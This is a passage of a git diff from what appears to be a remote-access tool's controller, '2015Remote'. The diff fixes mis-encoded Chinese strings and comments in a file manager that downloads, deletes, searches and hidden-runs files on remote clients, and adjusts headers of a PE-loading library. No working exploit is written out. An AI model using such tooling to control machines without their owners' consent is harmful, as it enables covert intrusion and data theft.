nPacketSize = (file.GetLength() + 1) * sizeof(TCHAR) + 1; @@ -1768,7 +1768,7 @@ void CFileManagerDlg::OnRemoteNewFolder() void CFileManagerDlg::OnTransferRecv() { - OnRemoteCopy(); // + OnRemoteCopy(); //下载 } void CFileManagerDlg::OnRename() @@ -1944,7 +1944,7 @@ void CFileManagerDlg::OnRemoteCopyFile() memcpy(lpPacket + 1, file.GetBuffer(0), nPacketLength - 1); m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); - ShowMessage(_T("׼ճ")); + ShowMessage(_T("准备粘贴")); } void CFileManagerDlg::OnRemotePasteFile() @@ -1967,7 +1967,7 @@ void CFileManagerDlg::OnRemotezip() while (pos) { //so long as we have a valid POSITION, we keep iterating int nItem = m_list_remote.GetNextSelectedItem(pos); file += (m_Remote_Path + m_list_remote.GetItemText(nItem, 0)); - // Ŀ¼ + // 如果是目录 if (m_list_remote.GetItemData(nItem)) file += _T('\\'); file += "|"; @@ -1980,7 +1980,7 @@ void CFileManagerDlg::OnRemotezip() m_ContextObject->Send2Client(lpPacket, nPacketLength); LocalFree(lpPacket); - ShowMessage(_T("ʼѹҪرմڣ")); + ShowMessage(_T("开始压缩,不要关闭窗口,其他操作继续")); } void CFileManagerDlg::OnRemotezipstop() @@ -1993,7 +1993,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) { CMenu mListmeau; mListmeau.CreatePopupMenu(); - mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("߼")); + mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("分区高级搜索")); POINT mousepos; GetCursorPos(&mousepos); int nMenuResult = ::TrackPopupMenu(mListmeau, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, mousepos.x, mousepos.y, 0, GetSafeHwnd(), NULL); @@ -2003,7 +2003,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) case 100: { UpdateData(); - //ȡļϸϢ + //获取文件详细信息 POSITION pos = m_list_remote_driver.GetFirstSelectedItemPosition(); CString str_disk; if (pos != NULL) { @@ -2012,10 +2012,10 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) if (str_disk.Find(_T(":")) == -1) return;; } CInputDialog dlg(this); - dlg.Init(_T("ȷϺ ȴֽ"), _T("ҪĹؼ")); + dlg.Init(_T("确认后 必须等待出现结果"), _T("请输入要搜索的关键词")); if (dlg.DoModal() != IDOK)return; - // õǰ + // 得到返回数据前禁窗口 m_list_remote_search.DeleteAllItems(); m_ProgressCtrl->SetPos(0); struct SEARCH { @@ -2027,7 +2027,7 @@ void CFileManagerDlg::OnRclickListRemotedriver(NMHDR* pNMHDR, LRESULT* pResult) memcpy(S_search.TC_disk, str_disk.GetBuffer(), str_disk.GetLength() * sizeof(TCHAR)); if (dlg.m_str.GetLength() > (MAX_PATH - 5)) { - MessageBox(_T("ؼ̫"), _T("ע")); + MessageBox(_T("搜索关键词太长"), _T("注意")); return ; } memcpy(S_search.TC_search, dlg.m_str.GetBuffer(), dlg.m_str.GetLength() * sizeof(TCHAR)); @@ -2078,7 +2078,7 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult) pM->EnableMenuItem(ID_FILEMANGER_PASTE, MF_BYCOMMAND | MF_ENABLED); } if (pListCtrl->GetSelectedCount() == 1) { - // ѡĿ¼, + // 单选如果是目录, 不能隐藏运行 if (pListCtrl->GetItemData(pListCtrl->GetSelectionMark()) == 1) { pM->EnableMenuItem(IDM_REMOTE_OPEN_HIDE, MF_BYCOMMAND | MF_GRAYED); pM->EnableMenuItem(IDM_REMOTE_OPEN_SHOW, MF_BYCOMMAND | MF_GRAYED); @@ -2122,9 +2122,9 @@ void CFileManagerDlg::OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) { CMenu mListmeau; mListmeau.CreatePopupMenu(); - mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("(Ŀ¼ṹ)")); - mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("ɾ")); - mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("ļλ")); + mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 100, _T("下载(附带目录结构)")); + mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 200, _T("删除")); + mListmeau.AppendMenu(MF_STRING | MF_ENABLED, 300, _T("打开文件位置")); POINT mousepos; GetCursorPos(&mousepos); int nMenuResult = ::TrackPopupMenu(mListmeau, TPM_LEFTALIGN | TPM_RIGHTBUTTON | TPM_RETURNCMD, mousepos.x, mousepos.y, 0, GetSafeHwnd(), NULL); @@ -2149,7 +2149,7 @@ void CFileManagerDlg::OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) } if (file.IsEmpty()) { EnableControl(TRUE); - ::MessageBox(m_hWnd, _T("ѡļ"), _T(""), MB_OK | MB_ICONWARNING); + ::MessageBox(m_hWnd, _T("请选择文件!"), _T("警告"), MB_OK | MB_ICONWARNING); return; } strLpath = GetDirectoryPath(FALSE); @@ -2168,15 +2168,15 @@ void CFileManagerDlg::OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) // TODO: Add your command handler code here CString str; if (m_list_remote_search.GetSelectedCount() > 1) - str.Format(_T("ȷҪ %d ɾ?"), m_list_remote_search.GetSelectedCount()); + str.Format(_T("确定要将这 %d 项删除吗?"), m_list_remote_search.GetSelectedCount()); else { CString file = m_list_remote_search.GetItemText(m_list_remote_search.GetSelectionMark(), 0); if (m_list_remote_search.GetItemData(m_list_remote_search.GetSelectionMark()) == 1) - str.Format(_T("ȷʵҪɾļС%sɾ?"), file); + str.Format(_T("确实要删除文件夹“%s”并将所有内容删除吗?"), file); else - str.Format(_T("ȷʵҪѡ%sɾ?"), file); + str.Format(_T("确实要把“%s”删除吗?"), file); } - if (::MessageBox(m_hWnd, str, _T("ȷɾ"), MB_YESNO | MB_ICONQUESTION) == IDNO) + if (::MessageBox(m_hWnd, str, _T("确认删除"), MB_YESNO | MB_ICONQUESTION) == IDNO) return; m_Remote_Delete_Job.RemoveAll(); POSITION pos = m_list_remote_search.GetFirstSelectedItemPosition(); //iterator for the CListCtrl @@ -2186,7 +2186,7 @@ void CFileManagerDlg::OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) m_Search_Path = m_list_remote_search.GetItemText(nItem, 3); m_Search_Path += '\\'; CString file = m_Search_Path + m_list_remote_search.GetItemText(nItem, 0); - // Ŀ¼ + // 如果是目录 if (m_list_remote_search.GetItemData(nItem)) file += _T('\\'); @@ -2194,7 +2194,7 @@ void CFileManagerDlg::OnRclickListSearch(NMHDR* pNMHDR, LRESULT* pResult) } //EO while(pos) -- at this point we have deleted the moving items and stored them in memory EnableControl(FALSE); - // ͵һ + // 发送第一个下载任务 SendDeleteJob(); } break; @@ -2284,11 +2284,11 @@ bool CFileManagerDlg::MakeSureDirectoryPathExists(LPCTSTR pszDirPath) return TRUE; } -//ѹ +//压缩处理 void CFileManagerDlg::OnCompress() { - // TODO: ڴ - //winrar a -r D:\123.she.rar d:\123.she //ѹ + // TODO: 在此添加命令处理程序代码 + //winrar a -r D:\123.she.rar d:\123.she //加压 UpdateData(TRUE); int i = m_list_remote.GetSelectionMark(); if (i < 0) { @@ -2296,7 +2296,7 @@ void CFileManagerDlg::OnCompress() } CString strMsg = _T("a -ep1 -ibck "); CString strFullFileName = m_list_remote.GetItemText(i, 0); - if (m_list_remote.GetItemData(i)) { //ļ + if (m_list_remote.GetItemData(i)) { //文件夹 strMsg += _T("-r "); strMsg += (m_Remote_Path + strFullFileName); } else { @@ -2316,7 +2316,7 @@ void CFileManagerDlg::OnCompress() void CFileManagerDlg::OnUncompress() { - // TODO: ڴ + // TODO: 在此添加命令处理程序代码 // winrar x D:\11.she.rar D:\11.she\ UpdateData(TRUE); int i = m_list_remote.GetSelectionMark(); @@ -2351,13 +2351,13 @@ void CFileManagerDlg::OnBtnSearch() { UpdateData(); - // // õǰ + // // 得到返回数据前禁窗口 m_list_remote_search.DeleteAllItems(); m_ProgressCtrl->SetPos(0); if (m_Remote_Path.IsEmpty()) return; - // ݰ + // 构建数据包 FILESEARCH mFileSearchPacket; lstrcpy(mFileSearchPacket.SearchPath, m_Remote_Path.GetBuffer(0)); lstrcpy(mFileSearchPacket.SearchFileName, m_SearchStr.GetBuffer(0)); @@ -2372,8 +2372,8 @@ void CFileManagerDlg::OnBtnSearch() memcpy(lpBuffer + 1, &mFileSearchPacket, sizeof(mFileSearchPacket)); m_ContextObject->Send2Client(lpBuffer, nPacketSize); SAFE_DELETE_AR(lpBuffer); - // ðť״̬ - m_BtnSearch.SetWindowText(_T("...")); + // 设置按钮状态 + m_BtnSearch.SetWindowText(_T("正在搜索...")); m_list_remote_search.ShowWindow(SW_SHOW); GetDlgItem(IDC_BTN_SEARCH)->EnableWindow(FALSE); @@ -2384,8 +2384,8 @@ void CFileManagerDlg::OnBtnSearch() void CFileManagerDlg::SearchEnd() { int len = m_list_remote_search.GetItemCount(); - m_BtnSearch.SetWindowText(_T("")); - ShowMessage(_T(" %d ļ"), len); + m_BtnSearch.SetWindowText(_T("重新搜索")); + ShowMessage(_T("搜索完毕 共:%d 个文件"), len); m_list_remote_search.EnableWindow(TRUE); GetDlgItem(IDC_BTN_SEARCH)->EnableWindow(TRUE); GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); @@ -2410,7 +2410,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLe CString csFilePath, csFileFullName; csFilePath.Format(_T("%s"), pszFileName); int nPos = csFilePath.ReverseFind(_T('\\')); - csFileFullName = csFilePath.Right(csFilePath.GetLength() - nPos - 1);// ȡļȫļչ + csFileFullName = csFilePath.Right(csFilePath.GetLength() - nPos - 1);// 获取文件全名,包括文件名和扩展名 nItem = m_list_remote_search.InsertItem(nItemIndex++, csFileFullName, GetIconIndex(pszFileName, nType)); m_list_remote_search.SetItemData(nItem, nType == FILE_ATTRIBUTE_DIRECTORY); @@ -2427,7 +2427,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLe CTime time(ftm_strReceiveLocalFileTime); m_list_remote_search.SetItemText(nItem, 2, time.Format(_T("%Y-%m-%d %H:%M"))); - PathRemoveFileSpec(pszFileName); //ȥļȡļ· + PathRemoveFileSpec(pszFileName); //去除文件名获取文件路径 m_list_remote_search.SetItemText(nItem, 3, pszFileName); pList += 16; @@ -2437,7 +2437,7 @@ void CFileManagerDlg::FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLe } -//ļֹͣ +//文件搜索停止 void CFileManagerDlg::OnBnClickedSearchStop() { GetDlgItem(ID_SEARCH_STOP)->EnableWindow(FALSE); @@ -2446,7 +2446,7 @@ void CFileManagerDlg::OnBnClickedSearchStop() m_ContextObject->Send2Client(&bToken, sizeof(BYTE)); } -//ʾ +//显示搜索结果 void CFileManagerDlg::OnBnClickedSearchResult() { m_list_remote_search.ShowWindow(m_list_remote_search.IsWindowVisible() ? SW_HIDE : SW_SHOW); @@ -2482,7 +2482,7 @@ void CFileManagerDlg::ShowSearchPlugList() } m_list_remote_search.EnableWindow(TRUE); CString strMsgShow; - strMsgShow.Format(_T(" %d "), i); + strMsgShow.Format(_T("共搜索到 %d 个"), i); DWORD_PTR dwResult; SendMessageTimeout(m_wndStatusBar.GetSafeHwnd(), SB_SETTEXT, 2, (LPARAM)(strMsgShow.GetBuffer()), SMTO_ABORTIFHUNG | SMTO_BLOCK, 500, & dwResult); m_list_remote_search.ShowWindow( SW_SHOW); diff --git a/server/2015Remote/file/CFileManagerDlg.h b/server/2015Remote/file/CFileManagerDlg.h index 44bea6b..63bbe0d 100644 --- a/server/2015Remote/file/CFileManagerDlg.h +++ b/server/2015Remote/file/CFileManagerDlg.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "stdafx.h" #include "CFileListCtrl.h" #include @@ -59,10 +59,10 @@ public: CString ExtractNameFromFullPath(CString szFullPath); HANDLE m_hFileSend; HANDLE m_hFileRecv; - CString m_strOperatingFile; // ļ - CString m_strFileName; // ļ - __int64 m_nOperatingFileLength; // ļܴС - __int64 m_nCounter;// + CString m_strOperatingFile; // 文件名 + CString m_strFileName; // 操作文件名 + __int64 m_nOperatingFileLength; // 文件总大小 + __int64 m_nCounter;// 计数器 void WriteLocalRecvFile(); void CreateLocalRecvFile(); BOOL SendDownloadJob(); @@ -80,9 +80,9 @@ public: CString GetParentDirectory(CString strPath); void OnReceiveComplete(); void OnReceive(); - void SearchEnd(); // + void SearchEnd(); // 搜索结束 void FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen); - int m_nNewIconBaseIndex; // ¼ӵICON + int m_nNewIconBaseIndex; // 新加的ICON CProgressCtrl* m_ProgressCtrl; HCURSOR m_hCursor; CString m_Local_Path; @@ -90,7 +90,7 @@ public: void FixedRemoteDriveList(); void GetRemoteFileList(CString directory = _T("")); void FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen); - void fixNetHood(BYTE* pbuffer, int buffersize);//Զ̹Ŀ¼ + void fixNetHood(BYTE* pbuffer, int buffersize);//远程共享目录 bool id_search_result; CStatusBar m_wndStatusBar; CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL); @@ -116,7 +116,7 @@ public: BOOL DRIVE_Sys; BOOL DRIVE_CAZ; - __int64 Bf_nCounters; // ݼ ڱȽ + __int64 Bf_nCounters; // 备份计数器 由于比较用 LONG Bf_dwOffsetHighs; LONG Bf_dwOffsetLows; @@ -179,7 +179,7 @@ protected: DECLARE_MESSAGE_MAP() private: - bool m_bIsUpload; // ǷǰѱԶϣ־λ + bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位 BOOL m_bDragging; // during a drag operation bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath); void SendTransferMode(); diff --git a/server/2015Remote/file/CFileTransferModeDlg.cpp b/server/2015Remote/file/CFileTransferModeDlg.cpp index 3928f79..e69266b 100644 --- a/server/2015Remote/file/CFileTransferModeDlg.cpp +++ b/server/2015Remote/file/CFileTransferModeDlg.cpp @@ -1,4 +1,4 @@ -// FileTransferModeDlg.cpp : implementation file +// FileTransferModeDlg.cpp : implementation file // #include "stdafx.h" #include "2015Remote.h" @@ -49,7 +49,7 @@ BOOL CFileTransferModeDlg::OnInitDialog() CDialog::OnInitDialog(); CString str; - str.Format(_T("ļѰһΪ%sļ"), m_strFileName); + str.Format(_T("此文件夹已包含一个名为“%s”的文件"), m_strFileName); for (int i = 0; i < str.GetLength(); i += 120) { str.Insert(i, _T("\n")); @@ -64,48 +64,48 @@ BOOL CFileTransferModeDlg::OnInitDialog() void CFileTransferModeDlg::OnBnClickedOverwrite() { - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 EndDialog(IDC_OVERWRITE); } void CFileTransferModeDlg::OnBnClickedOverwriteAll() { - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 EndDialog(IDC_OVERWRITE_ALL); } void CFileTransferModeDlg::OnBnClickedAddition() { - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 EndDialog(IDC_ADDITION); } void CFileTransferModeDlg::OnBnClickedAdditionAll() { - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 EndDialog(IDC_ADDITION_ALL); } void CFileTransferModeDlg::OnBnClickedJump() { - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 EndDialog(IDC_JUMP); } void CFileTransferModeDlg::OnBnClickedJumpAll() { - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 EndDialog(IDC_JUMP_ALL); } void CFileTransferModeDlg::OnBnClickedCancel() { - // TODO: ڴӿؼ֪ͨ + // TODO: 在此添加控件通知处理程序代码 EndDialog(IDC_CANCEL); } diff --git a/server/2015Remote/file/CFileTransferModeDlg.h b/server/2015Remote/file/CFileTransferModeDlg.h index 0444b52..bed3072 100644 --- a/server/2015Remote/file/CFileTransferModeDlg.h +++ b/server/2015Remote/file/CFileTransferModeDlg.h @@ -1,4 +1,4 @@ - + #pragma once ///////////////////////////////////////////////////////////////////////////// diff --git a/server/2015Remote/libpeconv/peconv.h b/server/2015Remote/libpeconv/peconv.h index cdee177..d77e805 100644 --- a/server/2015Remote/libpeconv/peconv.h +++ b/server/2015Remote/libpeconv/peconv.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Master include file, including everything else. */ diff --git a/server/2015Remote/libpeconv/peconv/buffer_util.h b/server/2015Remote/libpeconv/peconv/buffer_util.h index 7242586..4121033 100644 --- a/server/2015Remote/libpeconv/peconv/buffer_util.h +++ b/server/2015Remote/libpeconv/peconv/buffer_util.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Definitions of the used buffer types. Functions for their allocation and deallocation. */ diff --git a/server/2015Remote/libpeconv/peconv/caves.h b/server/2015Remote/libpeconv/peconv/caves.h index 1397367..82b610f 100644 --- a/server/2015Remote/libpeconv/peconv/caves.h +++ b/server/2015Remote/libpeconv/peconv/caves.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions related to finding caves in the loaded PE file. */ diff --git a/server/2015Remote/libpeconv/peconv/delayed_imports_loader.h b/server/2015Remote/libpeconv/peconv/delayed_imports_loader.h index c32ee0b..f37c1a4 100644 --- a/server/2015Remote/libpeconv/peconv/delayed_imports_loader.h +++ b/server/2015Remote/libpeconv/peconv/delayed_imports_loader.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Parsing and filling the Delayload Import Table. */ diff --git a/server/2015Remote/libpeconv/peconv/exceptions_parser.h b/server/2015Remote/libpeconv/peconv/exceptions_parser.h index 04034e1..40c3575 100644 --- a/server/2015Remote/libpeconv/peconv/exceptions_parser.h +++ b/server/2015Remote/libpeconv/peconv/exceptions_parser.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions related to Exceptions Table */ diff --git a/server/2015Remote/libpeconv/peconv/exported_func.h b/server/2015Remote/libpeconv/peconv/exported_func.h index 287bf92..86a4f2e 100644 --- a/server/2015Remote/libpeconv/peconv/exported_func.h +++ b/server/2015Remote/libpeconv/peconv/exported_func.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief A definition of ExportedFunc class - used for storing the details of the exported function. Helper functions related to the export parsing. */ diff --git a/server/2015Remote/libpeconv/peconv/exports_lookup.h b/server/2015Remote/libpeconv/peconv/exports_lookup.h index 63e472a..68c2bda 100644 --- a/server/2015Remote/libpeconv/peconv/exports_lookup.h +++ b/server/2015Remote/libpeconv/peconv/exports_lookup.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Searching specific functions in PE's Exports Table. */ diff --git a/server/2015Remote/libpeconv/peconv/exports_mapper.h b/server/2015Remote/libpeconv/peconv/exports_mapper.h index 407caaa..c71c1e3 100644 --- a/server/2015Remote/libpeconv/peconv/exports_mapper.h +++ b/server/2015Remote/libpeconv/peconv/exports_mapper.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief A definition of ExportsMapper class. Creates a lookup of all the exported functions from the supplied DLLs. Allows to associate an address with a corresponding function. */ diff --git a/server/2015Remote/libpeconv/peconv/file_util.h b/server/2015Remote/libpeconv/peconv/file_util.h index 7dbe84f..2d776dc 100644 --- a/server/2015Remote/libpeconv/peconv/file_util.h +++ b/server/2015Remote/libpeconv/peconv/file_util.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions related to operations on files. Wrappers for read/write. */ diff --git a/server/2015Remote/libpeconv/peconv/find_base.h b/server/2015Remote/libpeconv/peconv/find_base.h index 199dfc4..c97c28e 100644 --- a/server/2015Remote/libpeconv/peconv/find_base.h +++ b/server/2015Remote/libpeconv/peconv/find_base.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions related to finding a base to which the module was relocated. */ diff --git a/server/2015Remote/libpeconv/peconv/fix_imports.h b/server/2015Remote/libpeconv/peconv/fix_imports.h index 9bf9c00..3c5cc37 100644 --- a/server/2015Remote/libpeconv/peconv/fix_imports.h +++ b/server/2015Remote/libpeconv/peconv/fix_imports.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions and classes responsible for fixing Import Table. A definition of ImportedDllCoverage class. */ diff --git a/server/2015Remote/libpeconv/peconv/function_resolver.h b/server/2015Remote/libpeconv/peconv/function_resolver.h index 0af5231..6e08497 100644 --- a/server/2015Remote/libpeconv/peconv/function_resolver.h +++ b/server/2015Remote/libpeconv/peconv/function_resolver.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Definitions of basic Imports Resolver classes. They can be used for filling imports when the PE is loaded. */ diff --git a/server/2015Remote/libpeconv/peconv/hooks.h b/server/2015Remote/libpeconv/peconv/hooks.h index 3d27e3a..1d4ee2c 100644 --- a/server/2015Remote/libpeconv/peconv/hooks.h +++ b/server/2015Remote/libpeconv/peconv/hooks.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions related to hooking the loaded PE. Reditecting/replacing a functions with another. */ diff --git a/server/2015Remote/libpeconv/peconv/imports_loader.h b/server/2015Remote/libpeconv/peconv/imports_loader.h index 6b100f7..de4f69d 100644 --- a/server/2015Remote/libpeconv/peconv/imports_loader.h +++ b/server/2015Remote/libpeconv/peconv/imports_loader.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Parsing and filling the Import Table. */ diff --git a/server/2015Remote/libpeconv/peconv/imports_uneraser.h b/server/2015Remote/libpeconv/peconv/imports_uneraser.h index 2513dca..f9ba1e4 100644 --- a/server/2015Remote/libpeconv/peconv/imports_uneraser.h +++ b/server/2015Remote/libpeconv/peconv/imports_uneraser.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief A definition of ImportsUneraser class - for recovery of a partialy erased Import Table. */ diff --git a/server/2015Remote/libpeconv/peconv/load_config_defs.h b/server/2015Remote/libpeconv/peconv/load_config_defs.h index e57f949..1ff2cd8 100644 --- a/server/2015Remote/libpeconv/peconv/load_config_defs.h +++ b/server/2015Remote/libpeconv/peconv/load_config_defs.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Definitions of various versions of Load Config Directory (new fields added with new versions for Windows). */ diff --git a/server/2015Remote/libpeconv/peconv/load_config_util.h b/server/2015Remote/libpeconv/peconv/load_config_util.h index 43eab1c..2e4fc26 100644 --- a/server/2015Remote/libpeconv/peconv/load_config_util.h +++ b/server/2015Remote/libpeconv/peconv/load_config_util.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Fetching Load Config Directory and recognizing its version. */ diff --git a/server/2015Remote/libpeconv/peconv/pe_dumper.h b/server/2015Remote/libpeconv/peconv/pe_dumper.h index 3e0db94..cd347da 100644 --- a/server/2015Remote/libpeconv/peconv/pe_dumper.h +++ b/server/2015Remote/libpeconv/peconv/pe_dumper.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Dumping PE from the memory buffer into a file. */ diff --git a/server/2015Remote/libpeconv/peconv/pe_hdrs_helper.h b/server/2015Remote/libpeconv/peconv/pe_hdrs_helper.h index 0732c8c..e7e4e71 100644 --- a/server/2015Remote/libpeconv/peconv/pe_hdrs_helper.h +++ b/server/2015Remote/libpeconv/peconv/pe_hdrs_helper.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Wrappers over various fields in the PE header. Read, write, parse PE headers. */ diff --git a/server/2015Remote/libpeconv/peconv/pe_loader.h b/server/2015Remote/libpeconv/peconv/pe_loader.h index 44fe01a..cfcf304 100644 --- a/server/2015Remote/libpeconv/peconv/pe_loader.h +++ b/server/2015Remote/libpeconv/peconv/pe_loader.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Loading PE from a file with the help of the custom loader. */ diff --git a/server/2015Remote/libpeconv/peconv/pe_mode_detector.h b/server/2015Remote/libpeconv/peconv/pe_mode_detector.h index 83f087a..4cf6e44 100644 --- a/server/2015Remote/libpeconv/peconv/pe_mode_detector.h +++ b/server/2015Remote/libpeconv/peconv/pe_mode_detector.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Detecting in which mode is the PE in the supplied buffer (i.e. raw, virtual). Analyzes PE features typical for particular modes. */ diff --git a/server/2015Remote/libpeconv/peconv/pe_raw_to_virtual.h b/server/2015Remote/libpeconv/peconv/pe_raw_to_virtual.h index 8e26731..d88eded 100644 --- a/server/2015Remote/libpeconv/peconv/pe_raw_to_virtual.h +++ b/server/2015Remote/libpeconv/peconv/pe_raw_to_virtual.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Converting PE from raw to virtual format. */ diff --git a/server/2015Remote/libpeconv/peconv/pe_virtual_to_raw.h b/server/2015Remote/libpeconv/peconv/pe_virtual_to_raw.h index 94e46e1..4f0b3bd 100644 --- a/server/2015Remote/libpeconv/peconv/pe_virtual_to_raw.h +++ b/server/2015Remote/libpeconv/peconv/pe_virtual_to_raw.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Converting PE from virtual to raw format. */ diff --git a/server/2015Remote/libpeconv/peconv/peb_lookup.h b/server/2015Remote/libpeconv/peconv/peb_lookup.h index fba1dda..a9263a9 100644 --- a/server/2015Remote/libpeconv/peconv/peb_lookup.h +++ b/server/2015Remote/libpeconv/peconv/peb_lookup.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions for retrieving process information from PEB. */ diff --git a/server/2015Remote/libpeconv/peconv/relocate.h b/server/2015Remote/libpeconv/peconv/relocate.h index ad8f267..c821eca 100644 --- a/server/2015Remote/libpeconv/peconv/relocate.h +++ b/server/2015Remote/libpeconv/peconv/relocate.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Operating on PE file's relocations table. */ diff --git a/server/2015Remote/libpeconv/peconv/remote_pe_reader.h b/server/2015Remote/libpeconv/peconv/remote_pe_reader.h index d0e260a..d1e70ce 100644 --- a/server/2015Remote/libpeconv/peconv/remote_pe_reader.h +++ b/server/2015Remote/libpeconv/peconv/remote_pe_reader.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Reading from a PE module that is loaded within a remote process. */ diff --git a/server/2015Remote/libpeconv/peconv/resource_parser.h b/server/2015Remote/libpeconv/peconv/resource_parser.h index 39d70d1..8326bb1 100644 --- a/server/2015Remote/libpeconv/peconv/resource_parser.h +++ b/server/2015Remote/libpeconv/peconv/resource_parser.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Parsing PE's resource directory. */ diff --git a/server/2015Remote/libpeconv/peconv/resource_util.h b/server/2015Remote/libpeconv/peconv/resource_util.h index b937e2b..a39fdaa 100644 --- a/server/2015Remote/libpeconv/peconv/resource_util.h +++ b/server/2015Remote/libpeconv/peconv/resource_util.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions related to manual retrieving of PE resources. */ diff --git a/server/2015Remote/libpeconv/peconv/tls_parser.h b/server/2015Remote/libpeconv/peconv/tls_parser.h index dac056d..b5d3b9a 100644 --- a/server/2015Remote/libpeconv/peconv/tls_parser.h +++ b/server/2015Remote/libpeconv/peconv/tls_parser.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Functions related to TLS Callbacks */ diff --git a/server/2015Remote/libpeconv/peconv/unicode.h b/server/2015Remote/libpeconv/peconv/unicode.h index a440176..7e08eaf 100644 --- a/server/2015Remote/libpeconv/peconv/unicode.h +++ b/server/2015Remote/libpeconv/peconv/unicode.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #ifdef UNICODE #define tcout wcout diff --git a/server/2015Remote/libpeconv/peconv/util.h b/server/2015Remote/libpeconv/peconv/util.h index 483dcc7..0a9b18c 100644 --- a/server/2015Remote/libpeconv/peconv/util.h +++ b/server/2015Remote/libpeconv/peconv/util.h @@ -1,4 +1,4 @@ -/** +/** * @file * @brief Miscellaneous utility functions. */ diff --git a/server/2015Remote/main.cpp b/server/2015Remote/main.cpp index 9798395..da3dd82 100644 --- a/server/2015Remote/main.cpp +++ b/server/2015Remote/main.cpp @@ -1,4 +1,4 @@ -#include "stdafx.h" +#include "stdafx.h" #ifdef _WIN64 // Source code: https://github.com/hasherezade/pe_to_shellcode #include diff --git a/server/2015Remote/peloader.h b/server/2015Remote/peloader.h index ab87f82..0d90014 100644 --- a/server/2015Remote/peloader.h +++ b/server/2015Remote/peloader.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include #define MAX_REDIR_SIZE 32 diff --git a/server/2015Remote/proxy/ProxyConnectServer.cpp b/server/2015Remote/proxy/ProxyConnectServer.cpp index 98d2a96..f7e81cd 100644 --- a/server/2015Remote/proxy/ProxyConnectServer.cpp +++ b/server/2015Remote/proxy/ProxyConnectServer.cpp @@ -1,8 +1,8 @@ -#include "stdafx.h" +#include "stdafx.h" #include "ProxyConnectServer.h" -#define MAX_SEND_BUFFER 65535 // ݳ 1024*64 -#define MAX_RECV_BUFFER 65535 // ݳ +#define MAX_SEND_BUFFER 65535 // 最大发送数据长度 1024*64 +#define MAX_RECV_BUFFER 65535 // 最大接收数据长度 CProxyConnectServer::CProxyConnectServer(void) :m_TcpServer(this) { diff --git a/server/2015Remote/proxy/ProxyConnectServer.h b/server/2015Remote/proxy/ProxyConnectServer.h index a8218d3..e07b008 100644 --- a/server/2015Remote/proxy/ProxyConnectServer.h +++ b/server/2015Remote/proxy/ProxyConnectServer.h @@ -1,4 +1,4 @@ -#pragma once +#pragma once #include "HPSocket.h" #include "SocketInterface.h" #include "Buffer.h" @@ -42,10 +42,10 @@ private: void* m_pUser; ContextList 